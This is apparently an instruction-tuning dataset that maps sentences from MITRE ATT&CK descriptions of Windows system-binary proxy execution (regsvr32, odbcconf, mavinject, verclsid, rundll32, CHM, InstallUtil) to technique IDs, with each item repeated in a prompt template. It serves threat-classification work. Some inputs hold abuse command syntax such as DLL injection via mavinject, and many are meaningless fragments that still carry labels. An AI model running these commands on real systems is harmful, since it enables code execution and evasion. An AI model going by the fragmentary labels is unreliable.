Instruction: List the MITRE techniques contained in the text.

Input: Then, adversaries may create custom consoles with the “Link to Web Address” snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns)

Output: T1218.014

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Then, adversaries may create custom consoles with the “Link to Web Address” snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) ### Response: T1218.014.


Instruction: List the MITRE techniques contained in the text.

Input: Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: mmc.exe -Embedding C:\path\to\test.msc.(Citation: abusing_com_reg)

Output: T1218.014

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: mmc.exe -Embedding C:\path\to\test.msc.(Citation: abusing_com_reg) ### Response: T1218.014.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads.

Output: T1218.008

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. ### Response: T1218.008.


Instruction: List the MITRE techniques contained in the text.

Input: Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe)

Output: T1218.008

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) ### Response: T1218.008.


Instruction: List the MITRE techniques contained in the text.

Input: The Odbcconf.exe binary may be digitally signed by Microsoft.

Output: T1218.008

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Odbcconf.exe binary may be digitally signed by Microsoft. ### Response: T1218.008.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse.

Output: T1218.008

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. ### Response: T1218.008.


Instruction: List the MITRE techniques contained in the text.

Input: Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a REGSVR flag that can be misused to execute DLLs (ex: odbcconf.exe /S

Output: T1218.008

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a REGSVR flag that can be misused to execute DLLs (ex: odbcconf.exe /S ### Response: T1218.008.


Instruction: List the MITRE techniques contained in the text.

Input: /A

Output: T1218.008

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: /A ### Response: T1218.008.


Instruction: List the MITRE techniques contained in the text.

Input: {REGSVR

Output: T1218.008

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: {REGSVR ### Response: T1218.008.


Instruction: List the MITRE techniques contained in the text.

Input: "C:\Users\Public\file.dll"}</code>).

Output: T1218.008

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: "C:\Users\Public\file.dll"}</code>). ### Response: T1218.008.


Instruction: List the MITRE techniques contained in the text.

Input: (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation:

Output: T1218.008

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: ### Response: T1218.008.


Instruction: List the MITRE techniques contained in the text.

Input: TrendMicro Cobalt Group Nov 2017)

Output: T1218.008

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TrendMicro Cobalt Group Nov 2017) ### Response: T1218.008.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may abuse verclsid.exe to proxy execution of malicious code.

Output: T1218.012

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse verclsid.exe to proxy execution of malicious code. ### Response: T1218.012.


Instruction: List the MITRE techniques contained in the text.

Input: Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)

Output: T1218.012

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe) ### Response: T1218.012.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may abuse verclsid.exe to execute malicious payloads.

Output: T1218.012

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse verclsid.exe to execute malicious payloads. ### Response: T1218.012.


Instruction: List the MITRE techniques contained in the text.

Input: This may be achieved by running <code>verclsid.exe /S /C

Output: T1218.012

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may be achieved by running <code>verclsid.exe /S /C ### Response: T1218.012.


Instruction: List the MITRE techniques contained in the text.

Input: {CLSID}</code>, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects.

Output: T1218.012

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: {CLSID}</code>, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. ### Response: T1218.012.


Instruction: List the MITRE techniques contained in the text.

Input: COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)).

Output: T1218.012

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). ### Response: T1218.012.


Instruction: List the MITRE techniques contained in the text.

Input: Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation:

Output: T1218.012

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: ### Response: T1218.012.


Instruction: List the MITRE techniques contained in the text.

Input: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation:

Output: T1218.012

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: ### Response: T1218.012.


Instruction: List the MITRE techniques contained in the text.

Input: Nick Tyrer GitHub)

Output: T1218.012

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Nick Tyrer GitHub) ### Response: T1218.012.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may abuse mavinject.exe to proxy execution of malicious code.

Output: T1218.013

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse mavinject.exe to proxy execution of malicious code. ### Response: T1218.013.


Instruction: List the MITRE techniques contained in the text.

Input: Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)

Output: T1218.013

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject) ### Response: T1218.013.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. <code>C:\Windows\system32\mavinject.exe

Output: T1218.013

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. <code>C:\Windows\system32\mavinject.exe ### Response: T1218.013.


Instruction: List the MITRE techniques contained in the text.

Input: PID /INJECTRUNNING

Output: T1218.013

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: PID /INJECTRUNNING ### Response: T1218.013.


Instruction: List the MITRE techniques contained in the text.

Input: PATH_DLL</code>).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject)

Output: T1218.013

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: PATH_DLL</code>).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) ### Response: T1218.013.


Instruction: List the MITRE techniques contained in the text.

Input: Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process.

Output: T1218.013

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process. ### Response: T1218.013.


Instruction: List the MITRE techniques contained in the text.

Input: In addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its  /HMODULE command-line parameter (ex. mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER).

Output: T1218.013

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its  /HMODULE command-line parameter (ex. mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER). ### Response: T1218.013.


Instruction: List the MITRE techniques contained in the text.

Input: This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)

Output: T1218.013

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed) ### Response: T1218.013.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may abuse control.exe to proxy execution of malicious payloads.

Output: T1218.002

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse control.exe to proxy execution of malicious payloads. ### Response: T1218.002.


Instruction: List the MITRE techniques contained in the text.

Input: The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.

Output: T1218.002

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings. ### Response: T1218.002.


Instruction: List the MITRE techniques contained in the text.

Input: Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet

Output: T1218.002

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet ### Response: T1218.002.


Instruction: List the MITRE techniques contained in the text.

Input: function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014)

Output: T1218.002

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) ### Response: T1218.002.


Instruction: List the MITRE techniques contained in the text.

Input: For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL)

Output: T1218.002

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) ### Response: T1218.002.


Instruction: List the MITRE techniques contained in the text.

Input: (Citation: TrendMicro CPL Malware Jan 2014)(Citation:

Output: T1218.002

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: TrendMicro CPL Malware Jan 2014)(Citation: ### Response: T1218.002.


Instruction: List the MITRE techniques contained in the text.

Input:
TrendMicro CPL Malware Dec 2013)

Malicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation:

Output: T1218.002

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TrendMicro CPL Malware Dec 2013)

Malicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: ### Response: T1218.002.


Instruction: List the MITRE techniques contained in the text.

Input: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017)

Output: T1218.002

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) ### Response: T1218.002.


Instruction: List the MITRE techniques contained in the text.

Input: Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.

Output: T1218.002

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists. ### Response: T1218.002.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls.

Output: T1218.002

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls. ### Response: T1218.002.


Instruction: List the MITRE techniques contained in the text.

Input: Even when these registered DLLs do not comply with the CPL file specification and do not export CPlApplet functions, they are loaded and executed through its DllEntryPoint when Control Panel is executed.

Output: T1218.002

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Even when these registered DLLs do not comply with the CPL file specification and do not export CPlApplet functions, they are loaded and executed through its DllEntryPoint when Control Panel is executed. ### Response: T1218.002.


Instruction: List the MITRE techniques contained in the text.

Input: CPL files not exporting CPlApplet are not directly executable.(Citation: ESET InvisiMole June 2020)

Output: T1218.002

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CPL files not exporting CPlApplet are not directly executable.(Citation: ESET InvisiMole June 2020) ### Response: T1218.002.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code.

Output: T1218.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. ### Response: T1218.001.


Instruction: List the MITRE techniques contained in the text.

Input: CHM files are commonly distributed as part of the Microsoft HTML Help system.

Output: T1218.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CHM files are commonly distributed as part of the Microsoft HTML Help system. ### Response: T1218.001.


Instruction: List the MITRE techniques contained in the text.

Input: CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018)

Output: T1218.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) ### Response: T1218.001.


Instruction: List the MITRE techniques contained in the text.

Input: CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe).

Output: T1218.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). ### Response: T1218.001.


Instruction: List the MITRE techniques contained in the text.

Input:
(Citation: Microsoft HTML Help Executable Program)

A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204).

Output: T1218.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft HTML Help Executable Program)

A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). ### Response: T1218.001.


Instruction: List the MITRE techniques contained in the text.

Input: CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe.

Output: T1218.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. ### Response: T1218.001.


Instruction: List the MITRE techniques contained in the text.

Input: (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)

Output: T1218.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017) ### Response: T1218.001.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may abuse Regsvr32.exe to proxy execution of malicious code.

Output: T1218.010

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. ### Response: T1218.010.


Instruction: List the MITRE techniques contained in the text.

Input: Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems.

Output: T1218.010

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. ### Response: T1218.010.


Instruction: List the MITRE techniques contained in the text.

Input: The Regsvr32.exe binary may also be signed by Microsoft.

Output: T1218.010

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Regsvr32.exe binary may also be signed by Microsoft. ### Response: T1218.010.


Instruction: List the MITRE techniques contained in the text.

Input:
(Citation: Microsoft Regsvr32)

Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations.

Output: T1218.010

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Regsvr32)

Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. ### Response: T1218.010.


Instruction: List the MITRE techniques contained in the text.

Input: Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions.

Output: T1218.010

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. ### Response: T1218.010.


Instruction: List the MITRE techniques contained in the text.

Input: Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation.

Output: T1218.010

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. ### Response: T1218.010.


Instruction: List the MITRE techniques contained in the text.

Input: This method makes no changes to the Registry as the COM object is not actually registered, only executed.

Output: T1218.010

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This method makes no changes to the Registry as the COM object is not actually registered, only executed. ### Response: T1218.010.


Instruction: List the MITRE techniques contained in the text.

Input: (Citation: LOLBAS Regsvr32)

Output: T1218.010

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: LOLBAS Regsvr32) ### Response: T1218.010.


Instruction: List the MITRE techniques contained in the text.

Input: This variation of the technique is often referred to as a "Squiblydoo" and has been used in campaigns targeting governments.

Output: T1218.010

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This variation of the technique is often referred to as a "Squiblydoo" and has been used in campaigns targeting governments. ### Response: T1218.010.


Instruction: List the MITRE techniques contained in the text.

Input: (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32

Output: T1218.010

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 ### Response: T1218.010.


Instruction: List the MITRE techniques contained in the text.

Input:
Targeting Mongolian Gov)

Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015).

Output: T1218.010

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Targeting Mongolian Gov)

Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). ### Response: T1218.010.


Instruction: List the MITRE techniques contained in the text.

Input: (Citation: Carbon Black Squiblydoo Apr 2016)

Output: T1218.010

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Carbon Black Squiblydoo Apr 2016) ### Response: T1218.010.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility.

Output: T1218.004

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. ### Response: T1218.004.


Instruction: List the MITRE techniques contained in the text.

Input: InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries.

Output: T1218.004

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. ### Response: T1218.004.


Instruction: List the MITRE techniques contained in the text.

Input: (Citation: MSDN InstallUtil)

Output: T1218.004

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: MSDN InstallUtil) ### Response: T1218.004.


Instruction: List the MITRE techniques contained in the text.

Input: The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.exe and C:\Windows\Microsoft.

Output: T1218.004

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.exe and C:\Windows\Microsoft. ### Response: T1218.004.


Instruction: List the MITRE techniques contained in the text.

Input: NET\Framework64\v<version>\InstallUtil.exe</code>.

Output: T1218.004

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: NET\Framework64\v<version>\InstallUtil.exe</code>. ### Response: T1218.004.


Instruction: List the MITRE techniques contained in the text.

Input: InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute <code>[System.

Output: T1218.004

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute <code>[System. ### Response: T1218.004.


Instruction: List the MITRE techniques contained in the text.

Input: ComponentModel.

Output: T1218.004

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ComponentModel. ### Response: T1218.004.


Instruction: List the MITRE techniques contained in the text.

Input: RunInstaller(true)]</code>.

Output: T1218.004

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: RunInstaller(true)]</code>. ### Response: T1218.004.


Instruction: List the MITRE techniques contained in the text.

Input: (Citation: LOLBAS Installutil)

Output: T1218.004

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: LOLBAS Installutil) ### Response: T1218.004.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may abuse rundll32.exe to proxy execution of malicious code.

Output: T1218.011

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse rundll32.exe to proxy execution of malicious code. ### Response: T1218.011.


Instruction: List the MITRE techniques contained in the text.

Input: Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations.

Output: T1218.011

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. ### Response: T1218.011.


Instruction: List the MITRE techniques contained in the text.

Input: Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).

Output: T1218.011

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}). ### Response: T1218.011.


Instruction: List the MITRE techniques contained in the text.

Input: Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002)

Output: T1218.011

